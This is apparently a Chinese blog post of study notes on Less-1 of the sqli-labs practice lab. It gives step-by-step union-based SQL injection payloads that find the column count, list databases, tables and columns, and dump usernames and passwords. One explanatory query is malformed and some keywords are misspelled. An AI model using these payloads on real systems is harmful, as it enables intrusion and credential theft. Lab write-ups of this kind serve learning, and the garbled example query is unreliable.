SQL注入——Less-1(学习笔记)

本文介绍了SQL注入的基础知识,通过一个实例展示了如何利用字符型注入漏洞进行数据库探测。通过在URL参数?id=1后添加特殊字符,判断注入存在,并通过ORDER BY和UNION SELECT等操作确定字段数、库名、表名和字段,最终获取敏感信息。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

首先我们需要了解什么是数据库注入以及其原理,我会在后面的文章中更新内容
下面进去sql-less的第一关 字符型注入漏洞

进入页面之后就是这个页面在?id=1后面加上单引号来判断是否存在注入漏洞
在这里插入图片描述
但是其页面返回错误那么加上一个注释符–+返回以下页面
在这里插入图片描述
可以看到加上注释符后页面返回正常那么接下来我们使用 roder by *来判断该注入漏洞存在字段数

在这里插入图片描述
在这里插入图片描述

可以看到在测试order by 3返回正常但是在测试order by4返回错误那么由此判断存在3个字段数,接下来我们使用以下代码查询数据库库名

?id=-1' union select 1,2,database()

可以看一下数据库的执行语句//方便理解,记录一下这里为什么要用-1,这是因为union select 的结果代码只返回第一条结果,所以union select 获取的结果没有输出到页面,可以通过设置参数ID只让服务端返回nuion select的结果。如:把ID设置为-1这样数据库中没有id=-1得到数据,则会返回nuion select 的结果

select union from * users where id =1 union selct 1,2,database()

在这里插入图片描述

获得了数据库库名security,接下来获取数据库表名

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

这条语句我是这样理解的,利用函数group_concat查询table_name从 information_schema数据库的下一级tables查询条件为table_schema里查询’security’
在这里插入图片描述

获取到表名显然users价值要大的多,那么接下来查询该表中的字段名


?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

在这里插入图片描述

得知表名字段名那么就可以获取数据了首先获取账户

?id=-1' union select 1,2,group_concat(username) from security.users--+

在这里插入图片描述

获取密码

?id=-1' union select 1,2,group_concat(password) from security.users--+

在这里插入图片描述

通关,第二关和第一关一样只是一个是字符型注入一个是整数型注入

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

超级滑稽帝本人

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值